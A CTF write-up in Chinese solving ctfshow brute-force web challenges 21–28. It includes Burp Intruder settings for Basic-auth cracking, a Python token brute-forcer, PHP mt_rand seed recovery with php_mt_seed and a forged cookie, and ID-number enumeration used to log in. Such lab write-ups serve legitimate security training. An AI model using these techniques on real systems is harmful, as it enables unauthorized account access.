ctfshow_爆破处理

web 21

以: username:passwd 然后 base64 加密 (a:a >> YTph)

Authorization: Basic YTph

发送 Intruder

payload : Custom iterator

option : < username >+< : >+

process : encode.base64

注意 需要取消勾选自动的 URL 编码

web 22

子页面爆破 ( 跟御剑扫一样

挖掘工具 : BP 或者 在线子域名爆破 (zcjun.com)

web 23

1. python 爆破

1
2
3
4
5
6
7
8
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}

token 被 md5 加密

且它的 1 位=14 位=17 位

( 1 位+14 位+17 位) / 1 位 = 31 位

1
2
3
4
5
6
7
8
9
10
11
12
import requests
a = "3abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ012456789"
for i in a:
for j in a:
url ="http://5aad3711-167d-4268-94b4-3bb1a93ae1f0.chall.ctf.show/?token="+str(i)+str(j)
req = requests.get(url=url).text
if "flag" in req:
print(req)
exit()
else:
print(url)
# 3i

2. BP 爆破

../?token=x

x from 0 to 100000

x=422 的时候满足条件

web 24

1
2
3
4
5
6
7
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;

# intval() 函数用于获取变量的整数值
# mt_srand(seed) 播种 Mersenne Twister 随机数生成器。(伪随机)

给 seed 运行伪随机数

1
2
3
4
5
6
7
<?php

mt_srand(372619038);

echo mt_rand();

?>

得到 1155388967 就是 r

web 25

mt_scrand(seed)这个函数的意思,是通过分发 seed 种子,然后种子有了后,靠 mt_rand()生成随机数。

这里没有明确给出 seed,因此我们需要用工具逆推出 seed

1
2
3
4
5
6
7
8
9
10
11
12
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));

$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;

# 三次出现的mt_rand的值都可以根据seed预测出来

php_mt_seed/php_mt_seed-4.0.tar.gz at master · Al1ex/php_mt_seed · GitHub

  1. tar -zxvf php_mt_seed-4.0.tar.gz
  2. chmod 777 php_mt_seed.c
  3. make
  4. 分析代码 $rand = intval($r)-intval(mt_rand()); 我们令 r=0 反推出 mt_rand=1840740281
  5. time ./php_mt_seed 1840740281
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Pattern: EXACT
Version: 3.0.7 to 5.2.0
Found 0, trying 0x30000000 - 0x33ffffff, speed 13421.8 Mseeds/s
seed = 0x335e8ff2 = 861835250 (PHP 3.0.7 to 5.2.0)
seed = 0x335e8ff3 = 861835251 (PHP 3.0.7 to 5.2.0)
Found 2, trying 0x78000000 - 0x7bffffff, speed 11842.7 Mseeds/s
seed = 0x7ac9763c = 2060023356 (PHP 3.0.7 to 5.2.0)
seed = 0x7ac9763d = 2060023357 (PHP 3.0.7 to 5.2.0)
Found 4, trying 0xfc000000 - 0xffffffff, speed 11426.6 Mseeds/s
Version: 5.2.1+
Found 4, trying 0xa0000000 - 0xa1ffffff, speed 122.5 Mseeds/s
seed = 0xa050ca89 = 2689649289 (PHP 7.1.0+)
Found 5, trying 0xd4000000 - 0xd5ffffff, speed 122.2 Mseeds/s
seed = 0xd52071a2 = 3575673250 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0xd52071a2 = 3575673250 (PHP 7.1.0+)
Found 7, trying 0xdc000000 - 0xddffffff, speed 122.1 Mseeds/s
seed = 0xdcd24dc3 = 3704769987 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0xdcd24dc3 = 3704769987 (PHP 7.1.0+)
Found 9, trying 0xe4000000 - 0xe5ffffff, speed 122.2 Mseeds/s
seed = 0xe4f8704c = 3841486924 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0xe4f8704c = 3841486924 (PHP 7.1.0+)
Found 11, trying 0xfe000000 - 0xffffffff, speed 122.3 Mseeds/s
Found 11

real 35.51s
user 137.97s
sys 0.04s
cpu 388%
  1. 猜测是 php7 >> 3841486924
  2. 分析 $_COOKIE[‘token’]==( mt_rand()+mt_rand() )
  3. 当 rand 的值为 0 时,如果 COOKIE token 的值为第二个随机数与第三个随机数之和,输出 flag,因此我们再写一个 php 文件读取第二个随机数与第三个随机数之和
1
2
3
4
5
6
7
8
<?php

mt_srand(3841486924); # 这里给定seed
mt_rand(); # 这里消耗第一个伪随机数
$token = mt_rand()+mt_rand();
echo $token;

# 1513442793

(中途吃饭去容器过期了 重做了一遍)

  1. payload: $rand=0>>r=mt_rand(1) >>r=1840740281 Cookie.token=$token
  2. BP GET
1
2
3
GET /?r=1840740281 HTTP/1.1

Cookie:token=1513442793

web 26

抓包(install)的返回包 就有 flag (默认给的 ip port usern passwd 都可以)

web 27

  1. 在录取名单中发现学生名字+部分身份证号码 bp 爆破(payloads type 可以选 date 不过我用的 Custom iterator
  2. 高先伊 + 621022********5237 (621022199002015237)
  3. 爆破成功 a=%E9%AB%98%E5%85%88%E4%BC%8A&p=621022199002015237
  4. 抓取返回包
1
2
3
{"0":"success",
"msg":"\u606d\u559c\u60a8\uff0c\u60a8\u5df2\u88ab\u6211\u6821\u5f55\u53d6\uff0c\u4f60\u7684\u5b66\u53f7\u4e3a02015237
\u521d\u59cb\u5bc6\u7801\u4e3a\u8eab\u4efd\u8bc1\u53f7\u7801"}
  1. 在控制台
1
alert("\u606d\u559c\u60a8\uff0c\u60a8\u5df2\u88ab\u6211\u6821\u5f55\u53d6\uff0c\u4f60\u7684\u5b66\u53f7\u4e3a02015237 \u521d\u59cb\u5bc6\u7801\u4e3a\u8eab\u4efd\u8bc1\u53f7\u7801")
  1. 弹出内容 >>恭喜您,您已被我校录取,你的学号为 02015237 初始密码为身份证号码
  2. 所以账密 : 02015237 / 621022199002015237
  3. 弹出内容>>恭喜您,登陆成功!ctfshow{f04ba90a-63b8-407d-8ac4-cb6cf204517e}

web 28

  1. 网址有点不一样../0/1/2.txt
  2. 爆破的时候去掉 2.txt 仅仅爆破目录即可
  3. 尝试爆破目录 爆破模式改为 cluster bomb ../$x$/$y$/
  4. /72/20/